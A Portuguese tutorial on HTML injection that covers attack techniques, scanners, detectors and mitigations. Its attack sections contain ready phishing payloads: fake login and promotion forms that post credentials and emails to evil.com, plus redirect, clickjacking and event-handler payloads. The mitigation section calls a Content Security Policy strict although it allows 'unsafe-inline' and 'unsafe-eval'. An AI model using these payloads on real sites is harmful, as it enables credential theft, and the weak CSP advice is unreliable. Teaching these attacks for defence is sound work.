# HTML Injection

## **🔍 Conceitos Fundamentais**

### **O que é HTML Injection?**

HTML Injection é uma vulnerabilidade que permite a um atacante injetar código HTML malicioso em uma página web, potencialmente levando a ataques de defacement, phishing, roubo de dados ou escalação para XSS.

### **Princípio de Funcionamento**

```
Entrada Não Confiável → Processamento Inseguro → HTML Malicioso Renderizado
         ↓                       ↓                       ↓
   Dados do Usuário       Sanitização Fraca      Browser Interpreta HTML
```

### **Características do HTML Injection**

* **Manipulação do DOM**: Alteração da estrutura da página
* **Contexto-dependente**: Comportamento varia conforme o contexto de injeção
* **Gateway para XSS**: Pode escalar para execução de JavaScript
* **Ataques visuais**: Alteração de conteúdo e aparência

### **Tipos de HTML Injection**

1. **HTML Injection Refletido** - HTML refletido instantaneamente
2. **HTML Injection Armazenado** - HTML persistente no sistema
3. **HTML Injection Baseado em DOM** - Manipulação direta do DOM
4. **Content Spoofing** - Falsificação de conteúdo

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque HTML Injection**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor Vulnerável
    participant B as Servidor do Atacante

    Note over A,S: FASE 1: Injeção do HTML
    A->>S: Envia HTML malicioso via input
    S->>S: Processa entrada sem sanitização
    S->>V: Retorna página com HTML injetado
    
    Note over V,B: FASE 2: Renderização e Exploração
    V->>V: Browser renderiza HTML malicioso
    V->>B: Requisições para servidor atacante (se houver)
    Note right of V: Conteúdo legítimo é substituído/alterado
    
    Note over A,B: FASE 3: Coleta de Dados/Execução
    B-->>A: Dados são coletados (formulários phishing)
    A->>A: Analisa informações obtidas
```

### **Vetores de Injeção Comuns**

```html
<!-- Campos de entrada -->
<input type="text" value="user_controlled">
<textarea>user_controlled</textarea>
<div contenteditable="true">user_controlled</div>

<!-- Parâmetros URL -->
https://site.com/search?q=user_controlled

<!-- Cabeçalhos HTTP -->
User-Agent: user_controlled
Referer: user_controlled

<!-- Upload de arquivos -->
Arquivos com conteúdo HTML
```

***

## **💉 Técnicas de Exploração**

### **1. Basic Tag Injection**

```html
<!-- Injeção de tags HTML básicas -->
"><h1>Hacked</h1>
"><div style="background:red">Injected</div>
"><marquee>Site Defaced</marquee>

<!-- Quebra de atributos -->
" onclick="alert(1)" x="
' onmouseover='alert(1)'
```

### **2. Form Manipulation**

```html
<!-- Adição de campos falsos -->
"><input type="hidden" name="captured_data" value="">

<!-- Modificação de formulários existentes -->
"><form action="http://evil.com/steal" method="POST">
   <input type="text" name="username" placeholder="Username">
   <input type="password" name="password" placeholder="Password">
   <button type="submit">Login</button>
</form>

<!-- Redirecionamento de formulários -->
"><script>document.forms[0].action="http://evil.com"</script>
```

### **3. Content Spoofing**

```html
<!-- Substituição de conteúdo legítimo -->
"><div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white">
   <h1>Site em Manutenção</h1>
   <p>Digite suas credenciais para continuar:</p>
   <input type="text" placeholder="Usuário">
   <input type="password" placeholder="Senha">
   <button>Enviar</button>
</div>

<!-- Ocultação de elementos críticos -->
"><style>#security-warning, #logout-btn { display: none !important; }</style>
```

### **4. Link Manipulation**

```html
<!-- Injeção de links maliciosos -->
"><a href="http://evil.com/phishing">Clique aqui para oferta</a>
"><link rel="stylesheet" href="http://evil.com/malicious.css">

<!-- Redirecionamentos -->
"><meta http-equiv="refresh" content="0;url=http://evil.com">
"><script>window.location="http://evil.com"</script>
```

### **5. Image Injection**

```html
<!-- Injeção de imagens -->
"><img src="http://evil.com/logo.png" alt="Fake Logo">
"><img src="x" onerror="alert(1)">
"><img src="http://evil.com/track?user=123">

<!-- CSS com imagens externas -->
"><div style="background:url(http://evil.com/steal?data=sensitive)"></div>
```

### **6. Iframe Injection**

```html
<!-- Injeção de iframes -->
"><iframe src="http://evil.com/phishing" width="100%" height="500"></iframe>
"><iframe src="javascript:alert(document.cookie)"></iframe>

<!-- Clickjacking -->
"><iframe src="https://legit-site.com" style="opacity:0.1;position:absolute;top:0;left:0"></iframe>
```

### **7. Meta Tag Injection**

```html
<!-- Manipulação de meta tags -->
"><meta name="description" content="Site malicioso">
"><meta http-equiv="set-cookie" content="sessionid=evil">
```

### **8. Advanced DOM Manipulation**

```html
<!-- Substituição completa de conteúdo -->
"></div><div id="hacked-content">Seu site foi comprometido</div><div style="display:none">

<!-- Injeção em eventos -->
" onload="alert(1)" 
" onfocus="stealData()" 
" onblur="captureInput(this.value)"
```

***

## **💥 Impacto e Cenários**

## **Cenários de Ataque Reais**

{% stepper %}
{% step %}

#### **1. Phishing Attacks**

```html
<!-- Página de login falsa -->
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: white; z-index: 9999;">
    <div style="width: 300px; margin: 100px auto; padding: 20px; border: 1px solid #ccc;">
        <h2>Reautenticação Necessária</h2>
        <p>Sua sessão expirou. Por favor, faça login novamente.</p>
        <form action="http://evil.com/steal_credentials" method="POST">
            <input type="text" name="username" placeholder="Usuário" style="width: 100%; margin: 5px 0; padding: 8px;">
            <input type="password" name="password" placeholder="Senha" style="width: 100%; margin: 5px 0; padding: 8px;">
            <button type="submit" style="width: 100%; padding: 10px; background: #007cba; color: white; border: none;">
                Entrar
            </button>
        </form>
    </div>
</div>
```

{% endstep %}

{% step %}

#### **2. Data Theft Forms**

```html
<!-- Formulário para captura de dados -->
</form>
<form action="http://evil.com/capture" method="POST" style="background: #ffeb3b; padding: 10px; margin: 10px 0;">
    <h3>Promoção Especial!</h3>
    <p>Digite seu email para receber um desconto:</p>
    <input type="email" name="email" placeholder="Seu email" required>
    <input type="hidden" name="source_page" value="injected_form">
    <button type="submit">Receber Desconto</button>
</form>
<form>
```

{% endstep %}

{% step %}

#### **3. Defacement Attacks**

```html
<!-- Defacement completo -->
</div>
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: black; color: red; z-index: 9999; text-align: center; padding-top: 100px;">
    <h1 style="font-size: 48px;">HACKED</h1>
    <p style="font-size: 24px;">Este site foi comprometido</p>
    <marquee style="font-size: 18px;">Sua segurança é fraca!</marquee>
</div>
<div style="display: none;">
```

{% endstep %}
{% endstepper %}

### **Impacto por Tipo de Aplicação**

```json
{
  "aplicacoes_financeiras": {
    "impacto": "CRÍTICO",
    "cenarios": [
      "Phishing de credenciais bancárias",
      "Modificação de interfaces de transferência",
      "Injeção de formulários falsos"
    ]
  },
  "redes_sociais": {
    "impacto": "ALTO",
    "cenarios": [
      "Postagem de conteúdo malicioso",
      "Links de phishing em perfis",
      "Modificação de interfaces de usuário"
    ]
  },
  "ecommerce": {
    "impacto": "ALTO",
    "cenarios": [
      "Modificação de preços visuais",
      "Formulários de pagamento falsos",
      "Redirecionamento para sites concorrentes"
    ]
  },
  "sistemas_internos": {
    "impacto": "CRÍTICO",
    "cenarios": [
      "Roubo de credenciais administrativas",
      "Modificação de dados sensíveis",
      "Bypass de controles de segurança"
    ]
  }
}
```

### **Cadeia de Ataque Completa**

```
HTML Injection → Content Spoofing → Credential Theft → Account Takeover
       ↓               ↓                ↓               ↓
  Injeção de     Falsificação de   Captura de    Acesso Não
   HTML           Conteúdo         Dados         Autorizado
```

***

## **🔎 Detecção e Identificação**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos de verificação para HTML Injection
- Entradas de usuário refletidas sem encoding
- Parâmetros URL incorporados no HTML
- Upload de arquivos sem validação de tipo
- Cabeçalhos HTTP refletidos na página
- Ausência de CSP (Content Security Policy)
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

#### **1. Testes Básicos de Injeção**

```html
<!-- Teste de tags HTML básicas -->
<h1>test</h1>
<marquee>injected</marquee>
<div>test</div>

<!-- Teste de quebra de atributos -->
" onclick="alert(1)
' onmouseover='alert(1)
` onfocus=`alert(1)

<!-- Teste de fechamento de tags -->
"></div>
'></script>
```

{% endstep %}

{% step %}

#### **2. Testes Contextuais**

```javascript
// Identificação de pontos de reflexão
function findReflectionPoints() {
    const testPayload = `REFLECTION_TEST_${Date.now()}`;
    const inputs = document.querySelectorAll('input, textarea, [contenteditable]');
    
    inputs.forEach(input => {
        const original = input.value;
        input.value = testPayload;
        
        // Dispara eventos de mudança
        input.dispatchEvent(new Event('input', { bubbles: true }));
        input.dispatchEvent(new Event('change', { bubbles: true }));
        
        // Verifica reflexão
        if (document.documentElement.outerHTML.includes(testPayload)) {
            console.log('Reflexão encontrada:', input);
        }
        
        input.value = original;
    });
}
```

{% endstep %}

{% step %}

#### **3. Scanner de Vulnerabilidades HTML**

```python
#!/usr/bin/env python3
# html_injection_scanner.py

import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup
import re

class HTMLInjectionScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def crawl_forms_and_inputs(self):
        """Encontra todos os formulários e inputs no site"""
        response = self.session.get(self.target)
        soup = BeautifulSoup(response.text, 'html.parser')
        
        forms = soup.find_all('form')
        inputs = soup.find_all('input')
        textareas = soup.find_all('textarea')
        
        return {
            'forms': forms,
            'inputs': inputs,
            'textareas': textareas
        }
    
    def test_html_injection(self, elements):
        """Testa injeção HTML em elementos encontrados"""
        payloads = self.generate_html_payloads()
        
        for element_type, elements_list in elements.items():
            for element in elements_list:
                self.test_element_injection(element, element_type, payloads)
    
    def generate_html_payloads(self):
        """Gera payloads de HTML injection"""
        return [
            '<h1>HTML Injection Test</h1>',
            '"><div style="background:red">Test</div>',
            '<script>alert(1)</script>',
            '<img src=x onerror=alert(1)>',
            '<iframe src="javascript:alert(1)">',
            '</textarea><script>alert(1)</script>'
        ]
    
    def test_element_injection(self, element, element_type, payloads):
        """Testa injeção em elemento específico"""
        for payload in payloads:
            test_data = self.prepare_test_data(element, payload)
            
            if element_type == 'forms':
                response = self.submit_form(element, test_data)
            else:
                response = self.test_parameter_injection(element, payload)
            
            if self.detect_successful_injection(response, payload):
                self.vulnerabilities.append({
                    'type': 'HTML Injection',
                    'element': str(element),
                    'payload': payload,
                    'context': element_type
                })
    
    def detect_successful_injection(self, response, payload):
        """Detecta se a injeção foi bem-sucedida"""
        # Remove partes do payload que podem ser modificadas
        clean_payload = re.sub(r'alert\(1\)', 'ALERT', payload)
        clean_payload = re.sub(r'javascript:', 'JAVASCRIPT', clean_payload)
        
        return clean_payload in response.text
    
    def generate_report(self):
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = HTMLInjectionScanner('https://alvo.com')
    elements = scanner.crawl_forms_and_inputs()
    scanner.test_html_injection(elements)
    print(scanner.generate_report())
```

{% endstep %}
{% endstepper %}

### **Ferramentas de Análise Automatizada**

#### **1. Extensão para Browser - Detector HTML Injection**

```javascript
// Content script para detectar HTML injection em tempo real
class HTMLInjectionDetector {
    constructor() {
        this.suspiciousPatterns = [
            /<script[^>]*>/gi,
            /<iframe[^>]*>/gi,
            /<form[^>]*>/gi,
            /<meta[^>]*>/gi,
            /on\w+\s*=/gi,
            /javascript:/gi,
            /data:/gi
        ];
        
        this.startDetection();
    }
    
    startDetection() {
        // Observa mudanças no DOM
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                this.analyzeMutation(mutation);
            });
        });
        
        observer.observe(document.documentElement, {
            childList: true,
            subtree: true,
            attributes: true,
            attributeFilter: ['src', 'href', 'action']
        });
        
        // Monitora submissões de formulários
        document.addEventListener('submit', this.monitorFormSubmissions.bind(this));
    }
    
    analyzeMutation(mutation) {
        if (mutation.type === 'childList') {
            mutation.addedNodes.forEach((node) => {
                if (node.nodeType === 1) { // Element node
                    this.checkElement(node);
                }
            });
        }
    }
    
    checkElement(element) {
        const html = element.outerHTML;
        
        // Verifica se contém padrões suspeitos
        this.suspiciousPatterns.forEach((pattern) => {
            if (pattern.test(html)) {
                this.reportSuspiciousElement(element, pattern);
            }
        });
        
        // Verifica elementos filhos
        element.querySelectorAll('*').forEach((child) => {
            this.checkElementAttributes(child);
        });
    }
    
    checkElementAttributes(element) {
        const suspiciousAttributes = ['onload', 'onerror', 'onclick', 'onmouseover'];
        
        suspiciousAttributes.forEach((attr) => {
            if (element.hasAttribute(attr)) {
                this.reportSuspiciousAttribute(element, attr);
            }
        });
    }
    
    monitorFormSubmissions(event) {
        const form = event.target;
        const action = form.getAttribute('action');
        
        // Verifica ações suspeitas
        if (action && this.isSuspiciousURL(action)) {
            event.preventDefault();
            this.reportSuspiciousForm(form, action);
        }
    }
    
    isSuspiciousURL(url) {
        const suspiciousDomains = ['evil.com', 'malicious.net', 'phishing.org'];
        return suspiciousDomains.some(domain => url.includes(domain));
    }
    
    reportSuspiciousElement(element, pattern) {
        const report = {
            type: 'Suspicious HTML Element',
            element: element.outerHTML,
            pattern: pattern.source,
            timestamp: new Date().toISOString(),
            url: window.location.href
        };
        
        this.sendReport(report);
    }
    
    sendReport(report) {
        // Envia para servidor de segurança
        fetch('/security/html-injection-report', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(report)
        });
        
        console.warn('HTML Injection detectado:', report);
    }
}

// Iniciar detector
new HTMLInjectionDetector();
```

***

## **🛡️ Mitigação e Prevenção**

### **Estratégias de Defesa em Camadas**

#### **1. Encoding Contextual de Saída**

```javascript
// Sistema completo de encoding para diferentes contextos
class OutputEncoder {
    static encodeForHTML(input) {
        if (typeof input !== 'string') return input;
        
        return input
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;')
            .replace(/\//g, '&#x2F;');
    }
    
    static encodeForHTMLAttribute(input) {
        if (typeof input !== 'string') return input;
        
        return input
            .replace(/&/g, '&amp;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;');
    }
    
    static encodeForURL(input) {
        if (typeof input !== 'string') return input;
        
        return encodeURIComponent(input);
    }
    
    static encodeForCSS(input) {
        if (typeof input !== 'string') return input;
        
        return input.replace(/[^a-zA-Z0-9]/g, '\\$&');
    }
    
    static encodeForJavaScript(input) {
        if (typeof input !== 'string') return input;
        
        return input
            .replace(/\\/g, '\\\\')
            .replace(/"/g, '\\"')
            .replace(/'/g, "\\'")
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\//g, '\\/');
    }
}

// Uso em templates
function renderUserContent(userInput, context) {
    switch (context) {
        case 'html':
            return OutputEncoder.encodeForHTML(userInput);
        case 'attribute':
            return OutputEncoder.encodeForHTMLAttribute(userInput);
        case 'url':
            return OutputEncoder.encodeForURL(userInput);
        case 'css':
            return OutputEncoder.encodeForCSS(userInput);
        case 'javascript':
            return OutputEncoder.encodeForJavaScript(userInput);
        default:
            return OutputEncoder.encodeForHTML(userInput);
    }
}
```

#### **2. Content Security Policy (CSP)**

```html
<!-- CSP rigoroso para prevenir HTML injection -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' 'unsafe-eval'; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               font-src 'self'; 
               connect-src 'self'; 
               object-src 'none'; 
               base-uri 'self';
               form-action 'self';
               frame-ancestors 'none'">

<!-- Configuração Nginx -->
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none';" always;
```

#### **3. Sanitização com Whitelist**

```javascript
// Sanitizador HTML baseado em whitelist
class HTMLSanitizer {
    constructor() {
        this.allowedTags = new Set([
            'p', 'br', 'strong', 'em', 'u', 'ul', 'ol', 'li',
            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span'
        ]);
        
        this.allowedAttributes = {
            '*': ['class', 'style', 'id'],
            'a': ['href', 'title', 'target'],
            'img': ['src', 'alt', 'title', 'width', 'height']
        };
        
        this.allowedStyles = new Set([
            'color', 'background-color', 'font-size', 'font-weight',
            'text-align', 'margin', 'padding', 'border'
        ]);
    }
    
    sanitize(html) {
        const parser = new DOMParser();
        const doc = parser.parseFromString(html, 'text/html');
        
        this.sanitizeNode(doc.body);
        
        return doc.body.innerHTML;
    }
    
    sanitizeNode(node) {
        if (node.nodeType === Node.ELEMENT_NODE) {
            // Remove elementos não permitidos
            if (!this.allowedTags.has(node.tagName.toLowerCase())) {
                node.parentNode.removeChild(node);
                return;
            }
            
            // Sanitiza atributos
            this.sanitizeAttributes(node);
            
            // Sanitiza estilos
            this.sanitizeStyles(node);
        }
        
        // Processa filhos recursivamente
        Array.from(node.childNodes).forEach(child => {
            this.sanitizeNode(child);
        });
    }
    
    sanitizeAttributes(node) {
        const attributes = Array.from(node.attributes);
        
        attributes.forEach(attr => {
            const tagName = node.tagName.toLowerCase();
            const attrName = attr.name.toLowerCase();
            
            // Verifica se o atributo é permitido para esta tag
            const allowedForTag = this.allowedAttributes[tagName] || [];
            const allowedForAll = this.allowedAttributes['*'] || [];
            
            if (!allowedForTag.includes(attrName) && !allowedForAll.includes(attrName)) {
                node.removeAttribute(attr.name);
            }
            
            // Sanitização específica por atributo
            if (attrName === 'href' || attrName === 'src') {
                if (!this.isSafeURL(attr.value)) {
                    node.removeAttribute(attr.name);
                }
            }
        });
    }
    
    sanitizeStyles(node) {
        const style = node.getAttribute('style');
        if (!style) return;
        
        const safeStyles = [];
        const styleRules = style.split(';');
        
        styleRules.forEach(rule => {
            const [property, value] = rule.split(':').map(s => s.trim());
            if (property && value && this.allowedStyles.has(property.toLowerCase())) {
                safeStyles.push(`${property}: ${value}`);
            }
        });
        
        if (safeStyles.length > 0) {
            node.setAttribute('style', safeStyles.join('; '));
        } else {
            node.removeAttribute('style');
        }
    }
    
    isSafeURL(url) {
        // Permite apenas URLs relativas ou de domínios confiáveis
        const safePatterns = [
            /^\/[^\/]/,
            /^#/,
            /^https:\/\/(trusted\.com|cdn\.trusted\.com)/
        ];
        
        return safePatterns.some(pattern => pattern.test(url));
    }
}

// Uso
const sanitizer = new HTMLSanitizer();
const userHTML = userInput;
const safeHTML = sanitizer.sanitize(userHTML);
document.getElementById('content').innerHTML = safeHTML;
```

#### **4. Validação de Entrada no Backend**

```javascript
// Validação rigorosa no servidor
class InputValidator {
    static validateHTMLInput(input, options = {}) {
        const {
            maxLength = 1000,
            allowHTML = false,
            allowedTags = [],
            allowedAttributes = []
        } = options;
        
        // Validação de comprimento
        if (input.length > maxLength) {
            throw new Error(`Input excede o comprimento máximo de ${maxLength} caracteres`);
        }
        
        // Validação de caracteres
        if (!this.isSafeInput(input, allowHTML)) {
            throw new Error('Input contém caracteres ou padrões perigosos');
        }
        
        // Sanitização adicional se HTML for permitido
        if (allowHTML) {
            return this.sanitizeHTML(input, allowedTags, allowedAttributes);
        }
        
        return input;
    }
    
    static isSafeInput(input, allowHTML) {
        const dangerousPatterns = [
            /<script/i,
            /<iframe/i,
            /javascript:/i,
            /data:/i,
            /on\w+\s*=/i
        ];
        
        if (!allowHTML) {
            dangerousPatterns.push(/</, />/);
        }
        
        return !dangerousPatterns.some(pattern => pattern.test(input));
    }
    
    static sanitizeHTML(html, allowedTags, allowedAttributes) {
        // Implementação de sanitização HTML
        // Pode usar bibliotecas como DOMPurify
        const cleanHTML = DOMPurify.sanitize(html, {
            ALLOWED_TAGS: allowedTags,
            ALLOWED_ATTR: allowedAttributes
        });
        
        return cleanHTML;
    }
}

// Uso no Express.js
app.post('/user-content', (req, res) => {
    try {
        const userContent = InputValidator.validateHTMLInput(req.body.content, {
            maxLength: 500,
            allowHTML: true,
            allowedTags: ['p', 'strong', 'em', 'br'],
            allowedAttributes: ['class']
        });
        
        // Salvar conteúdo seguro
        saveUserContent(userContent);
        
        res.json({ success: true, content: userContent });
    } catch (error) {
        res.status(400).json({ error: error.message });
    }
});
```

### **Padrões de Codificação Seguros**

#### **1. Template Engine Segura**

```javascript
// Template engine com proteção automática
class SecureTemplateEngine {
    constructor() {
        this.encoders = {
            html: OutputEncoder.encodeForHTML,
            attribute: OutputEncoder.encodeForHTMLAttribute,
            url: OutputEncoder.encodeForURL,
            css: OutputEncoder.encodeForCSS,
            js: OutputEncoder.encodeForJavaScript
        };
    }
    
    render(template, data, context = 'html') {
        const encoder = this.encoders[context] || this.encoders.html;
        
        return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
            const value = data[key] || '';
            return encoder(value);
        });
    }
    
    renderSafeHTML(template, data) {
        // Para conteúdo HTML confiável que precisa de formatação
        const sanitizer = new HTMLSanitizer();
        const rawTemplate = this.render(template, data, 'html');
        return sanitizer.sanitize(rawTemplate);
    }
}

// Uso
const templateEngine = new SecureTemplateEngine();

// Para texto simples
const safeText = templateEngine.render(
    '<div class="user">{{username}}</div>',
    { username: userInput },
    'html'
);

// Para HTML formatado seguro
const safeHTML = templateEngine.renderSafeHTML(
    '<div>{{content}}</div>',
    { content: userHTMLContent }
);
```

#### **2. Middleware de Segurança para Express**

```javascript
// Middleware de segurança para prevenir HTML injection
const createSecurityMiddleware = () => {
    return (req, res, next) => {
        // Sanitiza query parameters
        if (req.query) {
            Object.keys(req.query).forEach(key => {
                if (typeof req.query[key] === 'string') {
                    req.query[key] = OutputEncoder.encodeForHTML(req.query[key]);
                }
            });
        }
        
        // Sanitiza body parameters
        if (req.body) {
            Object.keys(req.body).forEach(key => {
                if (typeof req.body[key] === 'string') {
                    req.body[key] = OutputEncoder.encodeForHTML(req.body[key]);
                }
            });
        }
        
        // Headers de segurança
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('X-Frame-Options', 'DENY');
        res.setHeader('X-XSS-Protection', '1; mode=block');
        
        next();
    };
};

// Uso no Express
app.use(createSecurityMiddleware());
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas de Teste Automatizado**

#### **1. Scanner Avançado HTML Injection**

```python
#!/usr/bin/env python3
# advanced_html_injection_scanner.py

import requests
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
import re
import json

class AdvancedHTMLInjectionScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
        
        # Headers realistas
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        })
    
    def comprehensive_scan(self):
        """Executa varredura completa"""
        print(f"[*] Iniciando scan em: {self.target}")
        
        # Teste de parâmetros URL
        self.test_url_parameters()
        
        # Teste de formulários
        self.test_forms()
        
        # Teste de cabeçalhos HTTP
        self.test_http_headers()
        
        # Teste de upload de arquivos
        self.test_file_uploads()
        
        return self.generate_report()
    
    def test_url_parameters(self):
        """Testa injeção via parâmetros URL"""
        response = self.session.get(self.target)
        soup = BeautifulSoup(response.text, 'html.parser')
        
        # Encontra links com parâmetros
        links = soup.find_all('a', href=True)
        forms = soup.find_all('form')
        
        test_parameters = self.generate_test_parameters()
        
        for link in links:
            if '?' in link['href']:
                self.test_parameter_injection(link['href'], test_parameters)
        
        for form in forms:
            if form.get('action'):
                self.test_form_action_injection(form, test_parameters)
    
    def generate_test_parameters(self):
        """Gera parâmetros de teste para HTML injection"""
        return {
            'q': '<h1>HTML_Injection_Test</h1>',
            'search': '"><script>alert(1)</script>',
            'id': '</div><div style="background:red">Test</div>',
            'name': '<iframe src="javascript:alert(1)">',
            'message': '{{7*7}}',  # Teste para template injection
            'redirect': 'javascript:alert(1)'
        }
    
    def test_parameter_injection(self, url, test_parameters):
        """Testa injeção em parâmetros URL específicos"""
        parsed_url = urlparse(url)
        
        for param_name, payload in test_parameters.items():
            test_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{param_name}={payload}"
            
            try:
                response = self.session.get(test_url)
                if self.detect_injection_success(response, payload):
                    self.vulnerabilities.append({
                        'type': 'URL Parameter HTML Injection',
                        'url': test_url,
                        'parameter': param_name,
                        'payload': payload,
                        'severity': 'High'
                    })
            except Exception as e:
                print(f"[-] Erro ao testar {test_url}: {e}")
    
    def detect_injection_success(self, response, payload):
        """Detecta se a injeção foi bem-sucedida"""
        # Verifica se o payload aparece sem encoding
        clean_payload = re.sub(r'alert\(1\)', 'ALERT', payload)
        return clean_payload in response.text
    
    def generate_report(self):
        """Gera relatório detalhado"""
        return {
            'target': self.target,
            'scan_date': str(datetime.now()),
            'vulnerabilities_found': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'summary': self.generate_summary()
        }
    
    def generate_summary(self):
        """Gera resumo executivo"""
        high_vulns = [v for v in self.vulnerabilities if v['severity'] == 'High']
        medium_vulns = [v for v in self.vulnerabilities if v['severity'] == 'Medium']
        
        return {
            'total_vulnerabilities': len(self.vulnerabilities),
            'high_severity': len(high_vulns),
            'medium_severity': len(medium_vulns),
            'recommendations': self.generate_recommendations()
        }
    
    def generate_recommendations(self):
        """Gera recomendações de correção"""
        return [
            "Implementar encoding contextual de todas as saídas",
            "Utilizar Content Security Policy (CSP)",
            "Validar e sanitizar todas as entradas do usuário",
            "Implementar whitelist para tags e atributos HTML permitidos"
        ]

# Uso
if __name__ == "__main__":
    scanner = AdvancedHTMLInjectionScanner('https://alvo.com')
    report = scanner.comprehensive_scan()
    
    with open('html_injection_report.json', 'w') as f:
        json.dump(report, f, indent=2)
    
    print(f"[+] Scan concluído. Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
```

### **Testes Manuais com Developer Tools**

#### **1. Console de Teste Interativo**

```javascript
// Ferramentas de teste manual no console do browser
class ManualHTMLInjectionTester {
    constructor() {
        this.testPayloads = [
            '<h1>HTML Injection Test</h1>',
            '"><div style="background:red">Test</div>',
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert(1)>',
            '<iframe src="javascript:alert(1)">',
            '<form action="http://evil.com"><input name="password"></form>'
        ];
    }
    
    testAllInputs() {
        const inputs = document.querySelectorAll('input, textarea, [contenteditable]');
        console.log(`🎯 Encontrados ${inputs.length} inputs para teste`);
        
        inputs.forEach((input, index) => {
            console.log(`\n🔍 Testando input ${index + 1}:`, input);
            this.testInput(input);
        });
    }
    
    testInput(input) {
        const originalValue = input.value;
        
        this.testPayloads.forEach((payload, i) => {
            console.log(`   Payload ${i + 1}: ${payload}`);
            
            // Define o valor
            input.value = payload;
            
            // Dispara eventos
            input.dispatchEvent(new Event('input', { bubbles: true }));
            input.dispatchEvent(new Event('change', { bubbles: true }));
            
            // Verifica se foi refletido
            setTimeout(() => {
                if (this.checkReflection(payload)) {
                    console.warn(`   ⚠️  REFLEXÃO DETECTADA com payload: ${payload}`);
                }
            }, 100);
        });
        
        // Restaura valor original
        input.value = originalValue;
    }
    
    checkReflection(payload) {
        const html = document.documentElement.outerHTML;
        const cleanPayload = payload.replace(/alert\([^)]*\)/g, 'ALERT');
        return html.includes(cleanPayload);
    }
    
    testURLParameters() {
        const urlParams = new URLSearchParams(window.location.search);
        console.log('🔗 Parâmetros URL atuais:', Object.fromEntries(urlParams));
        
        urlParams.forEach((value, key) => {
            console.log(`   Testando parâmetro: ${key}=${value}`);
            this.testPayloads.forEach(payload => {
                const testUrl = new URL(window.location.href);
                testUrl.searchParams.set(key, payload);
                console.log(`     Payload: ${payload}`);
                console.log(`     URL: ${testUrl.href}`);
            });
        });
    }
}

// Uso no console
const tester = new ManualHTMLInjectionTester();
tester.testAllInputs();
tester.testURLParameters();
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção HTML Injection**

* [ ] **Validação de Entrada**
  * [ ] Validação de tipo e comprimento
  * [ ] Sanitização baseada em whitelist
  * [ ] Rejeição de entrada maliciosa
  * [ ] Validação no cliente e servidor
* [ ] **Encoding de Saída**
  * [ ] Encoding contextual apropriado
  * [ ] Escape de caracteres especiais HTML
  * [ ] Encoding para atributos HTML
  * [ ] Encoding para URLs e JavaScript
* [ ] **Content Security Policy**
  * [ ] CSP implementado e testado
  * [ ] Restrições de origem para recursos
  * [ ] Política de frame-ancestors
  * [ ] Reporting de violações
* [ ] **Configuração de Segurança**
  * [ ] Headers de segurança HTTP
  * [ ] Configuração segura de cookies
  * [ ] Validação de upload de arquivos
  * [ ] Proteção contra CSRF

### **Checklist de Auditoria**

* [ ] **Análise de Código**
  * [ ] Revisão de templates e views
  * [ ] Verificação de pontos de reflexão
  * [ ] Análise de sanitização de entrada
  * [ ] Auditoria de bibliotecas de terceiros
* [ ] **Testes de Penetração**
  * [ ] Teste de injeção em parâmetros URL
  * [ ] Teste de manipulação de formulários
  * [ ] Verificação de reflexão em cabeçalhos
  * [ ] Teste de upload de arquivos HTML
* [ ] **Análise de Configuração**
  * [ ] Verificação de headers de segurança
  * [ ] Análise de políticas CSP
  * [ ] Configuração de WAF/Proxy
  * [ ] Logs e monitoramento

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Identificação do vetor de ataque
  * [ ] Análise do payload HTML
  * [ ] Determinação do escopo do comprometimento
* [ ] **Contenção**
  * [ ] Remoção do conteúdo malicioso
  * [ ] Bloqueio de IPs/usuários maliciosos
  * [ ] Atualização de regras de segurança
* [ ] **Correção**
  * [ ] Implementação de encoding adequado
  * [ ] Correção de pontos de injeção
  * [ ] Atualização de políticas de segurança
  * [ ] Reteste de vulnerabilidades

***

## **📊 Exemplos de Implementação Segura**

### **Sistema Completo de Proteção**

```javascript
// Sistema integrado de prevenção HTML injection
class HTMLInjectionProtection {
    constructor() {
        this.validator = new InputValidator();
        this.encoder = new OutputEncoder();
        this.sanitizer = new HTMLSanitizer();
    }
    
    processUserInput(input, context) {
        // Validação
        const validated = this.validator.validateHTMLInput(input, {
            maxLength: 1000,
